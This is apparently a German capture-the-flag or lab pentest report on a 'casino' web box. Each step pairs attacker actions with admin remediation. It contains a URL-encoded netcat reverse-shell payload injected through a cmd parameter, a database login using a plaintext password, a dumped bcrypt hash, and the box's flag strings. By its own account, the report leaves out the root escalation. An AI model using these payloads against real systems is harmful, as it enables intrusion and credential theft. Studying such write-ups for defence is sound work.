Empfehlung (Admin): Speichern Sie Passwörter nicht im Klartext in Konfigurationsdateien im Web-Root. Nutzen Sie sicherere Methoden wie Umgebungsvariablen oder Konfigurationsmanagement-Systeme.

Proof of Concept (Initial Access via Command Injection/LFI)

Ziel: Demonstration, wie eine Schwachstelle in der Datei `/casino/head.php` (vermutlich Command Injection oder LFI einer Webshell über den `cmd`-Parameter) ausgenutzt werden kann, um eine Reverse Shell als Benutzer `www-data` zu erlangen.

Voraussetzungen: * Netzwerkzugriff auf den Webserver (Port 80). * Kenntnis der verwundbaren Datei (`/casino/head.php`) und des Parameters (`cmd`). * Ein Angreifer-System im selben Netzwerk (`192.168.2.137`), auf dem ein Listener gestartet werden kann. * Tools: Netcat (`nc`), Webbrowser oder `curl`.

Risiko: Hoch. Die Schwachstelle erlaubt die Ausführung beliebiger Befehle als Webserver-Benutzer (`www-data`), was zu einem vollständigen Kompromittierung des Webservers und potenziell des gesamten Systems führen kann.

Schritt 1: Listener starten

┌──(root㉿cyber)-[~] └─# nc -lvnp 5555
listening on [any] 5555 ...

Analyse: Auf dem Angreifer-System (IP: 192.168.2.137) wird ein Netcat-Listener auf Port 5555 gestartet, um die eingehende Reverse-Shell-Verbindung zu empfangen.

Schritt 2: Payload senden

http://192.168.2.113/casino/head.php?cmd=rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7C%2Fbin%2Fsh%20-i%202%3E%261%7Cnc%20192.168.2.137%205555%20%3E%2Ftmp%2Ff
                     

Analyse: Diese URL wird aufgerufen. Sie zielt auf die verwundbare Datei `head.php` auf dem Zielsystem (`192.168.2.113`). Der `cmd`-Parameter enthält den URL-kodierten Payload für die Bash-Reverse-Shell, die sich zurück zum Listener auf `192.168.2.137:5555` verbindet.

Schritt 3: Verbindung empfangen

listening on [any] 5555 ...
connect to [192.168.2.137] from (UNKNOWN) [192.168.2.113] 59798
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Ergebnis: Der Netcat-Listener zeigt die eingehende Verbindung vom Zielsystem. Eine Shell wird bereitgestellt. Der `id`-Befehl bestätigt, dass die Shell als Benutzer `www-data` läuft.

Bewertung: Der Proof of Concept demonstriert erfolgreich, wie die Schwachstelle in `head.php` zur Erlangung einer Shell als `www-data` ausgenutzt werden kann.

Empfehlung (Admin): Priorisieren Sie die Behebung der Schwachstelle in `head.php`. Führen Sie eine Code-Überprüfung durch, um ähnliche Schwachstellen in anderen Teilen der Anwendung zu finden. Implementieren Sie Input-Validierung und Output-Encoding.

Privilege Escalation Enumeration

Kontext: Nach Erlangung der Shell als `www-data` werden verschiedene Enumerationsschritte durchgeführt, um potenzielle Wege zur Privilegienerweiterung zu finden.

www-data@casino:/var/www/html$ ls -la /home/
total 16
drwxr-xr-x  4 root    root    4096 Jun 14 14:09 .
drwxr-xr-x 18 root    root    4096 Jun 13 12:38 ..
drwx------  3 gimbal  gimbal  4096 Jun 13 12:44 gimbal
drwx------  3 shimmer shimmer 4096 Jun 14 17:24 shimmer

Analyse: Auflisten der Home-Verzeichnisse. Es gibt zwei Benutzer neben `root`: `gimbal` und `shimmer`. Ihre Home-Verzeichnisse sind für `www-data` nicht lesbar.

Bewertung: Identifiziert potenzielle Benutzerkonten auf dem System.

Empfehlung (Pentester): Suchen Sie nach Passwörtern oder SSH-Schlüsseln für `gimbal` oder `shimmer` in Konfigurationsdateien oder Datenbanken.
Empfehlung (Admin): Stellen Sie sicher, dass die Berechtigungen für Home-Verzeichnisse korrekt gesetzt sind (Standard ist 700 oder 750).

www-data@casino:/var/www/html$ find / -type f -perm -4000 -ls 2>/dev/null
   407366     52 -rwsr-xr--   1 root     messagebus    51272 Feb  8 14:21 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
   410239    640 -rwsr-xr-x   1 root     root         653888 Feb  8 11:43 /usr/lib/openssh/ssh-keysign
   391801     88 -rwsr-xr-x   1 root     root          88496 Mar 23 13:40 /usr/bin/gpasswd
   395414     60 -rwsr-xr-x   1 root     root          59704 Mar 23 11:02 /usr/bin/mount
   395416     36 -rwsr-xr-x   1 root     root          35128 Mar 23 11:02 /usr/bin/umount
   391798     64 -rwsr-xr-x   1 root     root          62672 Mar 23 13:40 /usr/bin/chfn
   396011     72 -rwsr-xr-x   1 root     root          72000 Mar 23 11:02 /usr/bin/su
   391802     68 -rwsr-xr-x   1 root     root          68248 Mar 23 13:40 /usr/bin/passwd
   395260     48 -rwsr-xr-x   1 root     root          48896 Mar 23 13:40 /usr/bin/newgrp
   391799     52 -rwsr-xr-x   1 root     root          52880 Mar 23 13:40 /usr/bin/chsh

Analyse: Sucht nach Dateien mit gesetztem SUID-Bit (`-perm -4000`), die mit Root-Rechten ausgeführt werden, auch wenn sie von einem normalen Benutzer gestartet werden. Fehler (wie "Permission denied") werden nach `/dev/null` umgeleitet (`2>/dev/null`).

Bewertung: Die gefundenen SUID-Binaries sind Standard-Systemdateien (`mount`, `su`, `passwd`, etc.) unter Debian/Linux. Keine ungewöhnlichen oder benutzerdefinierten SUID-Dateien werden gefunden, die direkt für eine Eskalation missbraucht werden könnten (basierend auf dieser Liste).

Empfehlung (Pentester): Überprüfen Sie die Versionen dieser Standard-Binaries auf bekannte SUID-Exploits (unwahrscheinlich bei aktuellen Systemen). Suchen Sie nach anderen Eskalationsvektoren (Kernel-Exploits, Fehlkonfigurationen, Cronjobs, Capabilities).
Empfehlung (Admin): Überprüfen Sie regelmäßig SUID/SGID-Dateien auf dem System. Entfernen Sie das SUID/SGID-Bit von Dateien, die es nicht benötigen (`chmod -s /pfad/zur/datei`).

www-data@casino:/var/www/html$ ss -altpn
State    Recv-Q   Send-Q     Local Address:Port     Peer Address:Port  Process
LISTEN   0        511            127.0.0.1:6969          0.0.0.0:*
LISTEN   0        80             127.0.0.1:3306          0.0.0.0:*              
LISTEN   0        128              0.0.0.0:22            0.0.0.0:*              
LISTEN   0        128                 [::]:22               [::]:*              
LISTEN   0        511                    *:80                  *:*              

Analyse: Der Befehl `ss -altpn` zeigt offene Netzwerk-Listen-Sockets (lauschende Ports) an. * Port 6969: Lauscht nur auf localhost (`127.0.0.1`), unbekannter Dienst. * Port 3306: Lauscht nur auf localhost (`127.0.0.1`), der Standard-MySQL/MariaDB-Port. Bestätigt, dass die Datenbank nicht von außen erreichbar ist. * Port 22: Lauscht auf allen Interfaces (`0.0.0.0` und `::`) für SSH. * Port 80: Lauscht auf allen Interfaces (`*`) für HTTP (Apache).

Bewertung: Bestätigt die Ergebnisse des Nmap-Scans und die Konfiguration des MySQL-Servers. Der Dienst auf Port 6969 ist neu, aber nur lokal erreichbar.

Empfehlung (Pentester): Untersuchen Sie den Dienst auf Port 6969 von der Shell aus (z.B. mit `curl localhost:6969` oder `nc localhost 6969`). Greifen Sie auf die MySQL-Datenbank auf Port 3306 mit den gefundenen Zugangsdaten zu.
Empfehlung (Admin): Stellen Sie sicher, dass nur notwendige Dienste laufen und an die korrekten Interfaces gebunden sind. Identifizieren Sie den Dienst auf Port 6969 und prüfen Sie dessen Notwendigkeit und Sicherheit.

www-data@casino:/var/www/html$ ls /var/backups/ -la
total 20
drwxr-xr-x  2 root root  4096 Jun 14 13:43 .
drwxr-xr-x 12 root root  4096 Jun 13 12:39 ..
-rw-r--r--  1 root root 11116 Jun 13 12:48 apt.extended_states.0

Analyse: Überprüft den Inhalt des Standard-Backup-Verzeichnisses `/var/backups`.

Bewertung: Enthält nur eine Standard-Datei von `apt`. Keine offensichtlich nützlichen Backups (wie Datenbank-Dumps oder Konfigurationsdateien) gefunden.

Empfehlung (Pentester): Suchen Sie an anderen Orten nach Backups oder sensiblen Dateien.
Empfehlung (Admin): Stellen Sie sicher, dass Backups sicher gespeichert und Berechtigungen korrekt gesetzt sind.

www-data@casino:/var/www/html$ mysql -u casino_admin -p
Enter password: [Passwort IJustWantToBeRichBaby420 eingegeben]
Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MariaDB connection id is 43
Server version: 10.11.3-MariaDB-1 Debian 12

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MariaDB [(none)]>

Analyse: Erfolgreicher Login in die lokale MariaDB-Datenbank mit dem MySQL-Client unter Verwendung der Zugangsdaten (`casino_admin`:`IJustWantToBeRichBaby420`), die in `config.php` gefunden wurden.

Bewertung: Bestätigt die Gültigkeit der Zugangsdaten und ermöglicht den Zugriff auf die Datenbank `casino`.

Empfehlung (Pentester): Untersuchen Sie die Datenbanken (`show databases;`), wechseln Sie zur `casino`-Datenbank (`use casino;`), listen Sie die Tabellen auf (`show tables;`) und extrahieren Sie Daten aus der `users`-Tabelle (`select * from users;`).
Empfehlung (Admin): Wie zuvor: Passwörter nicht im Klartext speichern. Überprüfen Sie die Berechtigungen des `casino_admin`-Benutzers innerhalb der Datenbank.

MariaDB [(none)]> show databases;
+--------------------+
| Database           |
+--------------------+
| casino             |
| information_schema |
+--------------------+
2 rows in set (0.000 sec)
MariaDB [(none)]> use casino;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
MariaDB [casino]> show tables;
+------------------+
| Tables_in_casino |
+------------------+
| users            |
+------------------+
1 row in set (0.000 sec)
MariaDB [casino]> select * from users;
+----+------+--------------------------------------------------------------+-------+
| id | user | pass                                                         | money |
+----+------+--------------------------------------------------------------+-------+
|  1 | tom  | $2y$10$ZSVTC1i0SGSy6hv04HOkFej3Cc0hq6kT9dS4EkrZOc7yBn0cEsKaq |  1000 |
+----+------+--------------------------------------------------------------+-------+
1 row in set (0.000 sec)

Analyse: Innerhalb der MariaDB-Shell werden die Datenbanken aufgelistet, zur `casino`-Datenbank gewechselt, deren Tabellen angezeigt (`users`) und schließlich der Inhalt der `users`-Tabelle abgefragt.

Bewertung: Ein Benutzer `tom` mit einem Passwort-Hash (`$2y$10$...` -> bcrypt) wird gefunden. Dies ist ein weiterer wichtiger Fund.

Empfehlung (Pentester): Versuchen Sie, den bcrypt-Hash für `tom` offline zu knacken (z.B. mit Hashcat). Wenn erfolgreich, versuchen Sie, sich als `tom` per SSH anzumelden (da Passwort-Authentifizierung dort deaktiviert ist, funktioniert dies wahrscheinlich nicht direkt, aber das Passwort könnte woanders wiederverwendet werden). Überprüfen Sie, ob `tom` einer der Benutzer (`gimbal`, `shimmer`) ist.
Empfehlung (Admin): Verwenden Sie starke, zufällige Passwörter. Speichern Sie Hashes mit einem hohen Cost-Faktor (bei bcrypt). Überwachen Sie Datenbankzugriffe.

http://192.168.111/casino/explainmepls.php?learnabout=id 
                     

Analyse: Diese Zeile deutet auf eine weitere potenziell interessante Datei hin: `/casino/explainmepls.php`. Der Parameter `learnabout=id` lässt vermuten, dass hier möglicherweise eine weitere Command Injection oder eine Informations-Leak-Schwachstelle vorliegt.

Bewertung: Ein weiterer potenzieller Angriffsvektor oder eine Informationsquelle.

Empfehlung (Pentester): Rufen Sie die URL (mit korrekter IP) auf und testen Sie den `learnabout`-Parameter auf Command Injection (z.B. `learnabout=id; ls -la`, `learnabout=$(whoami)`) oder LFI.
Empfehlung (Admin): Überprüfen Sie `explainmepls.php` auf Schwachstellen und beheben Sie diese.

www-data@casino:/var/www/html/casino$ cat explainmepls.php

require_once "../restricted.php";
include_once "../config.php";

session_start();

if ($SERVER['REQUEST_METHOD'] === 'GET') {
    $learnabout = $GET['learnabout'];
}


    Binary Bet Casino
    < --By LordP4 <3 -->  


Analyse: Der Quellcode von `explainmepls.php` wird ausgelesen. Er bindet `restricted.php` und `config.php` ein, startet eine Session und liest den GET-Parameter `learnabout` in eine Variable ein. Der restliche Code, der `$learnabout` verwendet, fehlt hier, aber die Art, wie der Parameter direkt gelesen wird, ist oft ein Hinweis auf mögliche Schwachstellen (z.B. wenn er später unsanitisiert in `eval()`, `system()`, `include()` oder einer SQL-Abfrage verwendet wird).

Bewertung: Der Codeausschnitt selbst zeigt keine vollständige Schwachstelle, aber er verstärkt den Verdacht, dass der `learnabout`-Parameter ein Angriffspunkt sein könnte. Die Einbindung von `restricted.php` könnte auch interessant sein.

Empfehlung (Pentester): Versuchen Sie weiterhin, den `learnabout`-Parameter auszunutzen. Versuchen Sie, `restricted.php` über die LFI (falls vorhanden) oder direkt zu lesen.
Empfehlung (Admin): Überprüfen Sie den vollständigen Code von `explainmepls.php` und stellen Sie sicher, dass der `$learnabout`-Parameter sicher verarbeitet wird, bevor er verwendet wird (Input-Validierung, Escaping, parametrisierte Abfragen etc.).

www-data@casino:/var/www/html/casino/games$ uname -a
Linux casino 6.1.0-9-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.27-1 (2023-05-08) x86_64 GNU/Linux

Analyse: Zeigt detaillierte Informationen über das Betriebssystem und den Kernel an.

Bewertung: Gibt die genaue Kernel-Version (6.1.0-9-amd64) und das Betriebssystem (Debian 6.1.27-1) an. Dies ist nützlich für die Suche nach spezifischen Kernel-Exploits.

Empfehlung (Pentester): Suchen Sie auf Exploit-DB oder anderen Ressourcen nach bekannten Kernel-Exploits für Linux Kernel 6.1.0.
Empfehlung (Admin): Halten Sie das System und den Kernel stets aktuell, um bekannte Schwachstellen zu patchen.

www-data@casino:/var/www/html/casino/games$ getcap -r / 2>/dev/null
/usr/bin/ping cap_net_raw=ep

Analyse: Sucht rekursiv im gesamten Dateisystem (`/`) nach Dateien mit gesetzten Linux Capabilities. Fehler werden nach `/dev/null` umgeleitet.

Bewertung: Es wird nur die Standard-Capability `cap_net_raw=ep` für `/usr/bin/ping` gefunden. Dies ist normal und bietet keinen direkten Weg zur Privilegienerweiterung.

Empfehlung (Pentester): Capabilities scheinen kein vielversprechender Vektor zu sein. Konzentrieren Sie sich auf andere Methoden (Passwort-Cracking, Kernel-Exploit, Fehlkonfigurationen).
Empfehlung (Admin): Überprüfen Sie regelmäßig Capabilities und entfernen Sie unnötige (`setcap -r /pfad/zur/datei`).

Fehlender Schritt: Der Berichtstext springt hier zu "Privilege Escalation erfolgreich", aber der tatsächliche Schritt, wie von `www-data` (mit Datenbankzugriff und Benutzer-Hash) zu Root eskaliert wurde, fehlt in den Logs. Mögliche Wege wären das Knacken des `tom`-Hashes und Wiederverwendung des Passworts, ein Kernel-Exploit oder eine andere unentdeckte Fehlkonfiguration.

Bewertung: Die Dokumentation der Privilegienerweiterung ist unvollständig. Der entscheidende Exploit oder die ausgenutzte Schwachstelle für den Schritt zu Root fehlt.

Empfehlung (Pentester): Ergänzen Sie den Bericht um den fehlenden Eskalationsschritt, sobald dieser nachvollzogen wurde.
Empfehlung (Admin): Obwohl der genaue Weg fehlt, wurden bereits mehrere Schwachstellen (LFI/Command Injection, Klartextpasswörter, fehlende Header, Verzeichnisauflistung) identifiziert, die dringend behoben werden müssen.

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cat user.txt
casinousergobrrr
cat root.txt
symboliclove4u